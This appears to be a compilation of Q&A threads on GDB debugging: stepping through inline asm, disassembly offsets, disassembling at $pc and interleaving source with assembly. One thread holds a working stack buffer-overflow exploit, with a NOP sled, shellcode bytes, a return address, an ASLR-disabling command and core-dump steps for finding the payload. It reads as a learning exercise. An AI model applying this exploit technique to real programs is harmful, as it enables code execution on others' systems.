__asm__("\n\
movl $1, %eax\n\
");
How can I step through __asm__ so I can print the registers to see what they are storing? Right now, I put a break on the __asm__ line and then I tried pressing stepi or si and it's not stepping into the movl line. What am I doing wrong?
The si is stepping over the movl instruction (you can verify this by typing display/i $pc and observing how the output changes.
What isn't happening (and what likely confused you) is update to the source. That's because your code inside asm() does not have any line-number annotations, so GDB can't tell which line(s) it should be displaying.
Normally, the compiler puts such annotations into the assembly. But here you've bypassed the compiler. If you want line numbers to be correct, you'll have to add these annotations yourself (which usually isn't worth the trouble).
Related
Occasionally I want to analyse the assembler produced by gcc for a function, and have long used a little script that fires up gdb with expect, fetches the disassembly, and postprocesses the result to turn it into something approximating readable assembly code.
However gdb output appears to have changed - I'm now using Ubuntu's gdb-10.2 - such that a short way through the output switches from showing locations as positive offsets from the named function to negative offsets from what I assume is the next symbol:
Dump of assembler code for function S_group_end:
0x00000000001d6320 <+0>: push %r13
0x00000000001d6322 <+2>: push %r12
...
0x00000000001d63cf <+175>: call 0xf0450 <Perl_croak>
0x00000000001d63d4 <+180>: nopl 0x0(%rax)
0x00000000001d63d8 <-1176>: cmp %rcx,%rbx
0x00000000001d63db <-1173>: jbe 0x1d6452 <S_next_symbol-1054>
...
In this case they appear to be relative to the (coincidentally named) S_next_symbol, but there's no indication of that (and it is not emitting S_next_symbol itself as a label).
Is there an option to revert the output style to what it was before (eg <S_group_end+184>), or some other way to make this output more readily parsable?
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I'm having trouble getting a disassembly at my current location. GDB does not recognize . (dot) as "here":
(gdb) disass .
A syntax error in expression, near `.'.
Issuing disass $pc disassembles from the start of the function and not "here":
(gdb) disass $pc
Dump of assembler code for function _ZN8CryptoPP6RDSEED13GenerateBlockEPhm:
0x000000000056b962 <+0>: push %r13
0x000000000056b964 <+2>: push %r12
0x000000000056b966 <+4>: push %rbp
...
<skip 5 pages of output>
0x000000000056ba88 <+294>: mov %rdi,0x8(%rsp)
=> 0x000000000056ba8d <+299>: test %edx,%edx
0x000000000056ba8f <+301>: je 0x56ba7f <_ZN8CryptoPP6RDSEED13GenerateBlockEPhm+285>
...
How do I create an alias or a rule to provide a disassembly at the current location, some number of instructions before the current location, and some number of instructions before the current location?
It seems like this should be built-in functionality, but GDB does not appear to offer it. Other low level debuggers, like WinDbg, has the built-in functionality.
disas disassembles the entire function (as designed and documented).
You are looking for x/10i $pc (replace 10 with desired number of instructions).
How can I alias disass . to the command above?
There is GDB alias command, but it rejects my attempts to use it:
(gdb) alias ds = x/10i $pc
Invalid command to alias to: x/10i $pc
User-defined command works:
(gdb) define disas
Type commands for definition of "disas".
End with a line saying just "end".
>x/10i $pc
>end
I am trying to troubleshoot a bus error with some inline SSE2 assembly. The source code has a macro that uses 5 pointers, and I suspect one of them is not aligned.
I set a breakpoint on the source line. But when I perform a disass, it disassembles from the top of the function, and not where the debugger is stopped. There are hundreds of lines of assembly, so its not really helpful to me. Pressing ENTER 30 to 40 times in response to "Press ENTER to continue" got old very quickly.
I tried a disass $pc, but it dsassembled from the top of the function. I also tried a disass . (with the dot meaning "here"), but that resulted in:
A syntax error in expression, near `.'.
What does GDB use to denote "here"?
You were correct with the use of $pc to represent the current location. The reason that this did not do what you expected when used with the disassemble command is that the disassemble command tries by default to disassemble the function containing the given address which is what you are seeing.
There are alternative forms that can be given to disassemble, for example start,end where start and end are addresses, or start,+length where start is an address and length is a number of bytes.
Try help disassemble at the gdb prompt for more information.
As an alternative you can also use the x (examine) command to display instructions, without the smart find the beginning of the function behaviour, so x/10i $pc will display 10 instructions starting from $pc. This can be helpful if you only want the instructions disassembled, however you don't have access to the /m or /r modifiers that are available on the disassemble command. These modifiers display interleaved source and assembler (for /m) or the raw instruction bytes (for /r).
Also, if the whole press ENTER to continue thing is getting old then you can try set height 0 to turn off the pager, do make sure that you have enough scroll back in your terminal though :)
Do we have a way to view assembly and c code both using gdb.
disassemble function_name shows only assembly, I was trying to find a way to easliy map c code to assembly.
Thanks
You can run gdb in Text User Interface (TUI) mode:
gdb -tui <your-binary>
(gdb) b main
(gdb) r
(gdb) layout split
The layout split command divides the window into two parts - one of them displaying the source code, the other one the corresponding assembly.
A few others tricks:
set disassembly-flavor intel - if your prefer intel notation
set print asm-demangle - demangles C++ names in assembly view
ni - next instruction
si - step instruction
If you do not want to use the TUI mode (e.g. your terminal does not like it), you can always do:
x /12i $pc
which means print 12 instructions from current program counter address - this also works with the tricks above (demangling, stepping instructions, etc.).
The "x /12i $pc" trick works in both gdb and cgdb, whereas "layout split" only works in gdb.
Enjoy :)
Try disassemble /m.
Refer to http://sourceware.org/gdb/current/onlinedocs/gdb/Machine-Code.html#Machine-Code
The format is similar to that of objdump -S, and intermixes source with disassembly. Sample output excerpt:
10 int i = 0;
=> 0x0000000000400536 <+9>: movl $0x0,-0x14(%rbp)
11 while (1) {
12 i++;
0x000000000040053d <+16>: addl $0x1,-0x14(%rbp)
For your purpose, try
objdump -S <your_object_file>
from man objdump:
-S
--source
Display source code intermixed with disassembly, if possible.
Implies -d.
The fastest way to obtain this is to press the key combination ctrl-x 2 after launching gdb.
This will give you immediately a split window with source code and assembly in Text User Interface Mode (described in accepted answer).
Just another tooltip: keyboard arrows in this mode are used for navigate up and down through the source code, to use them to access commands history you can use ctrl-x o that will refocus on gdb shell window.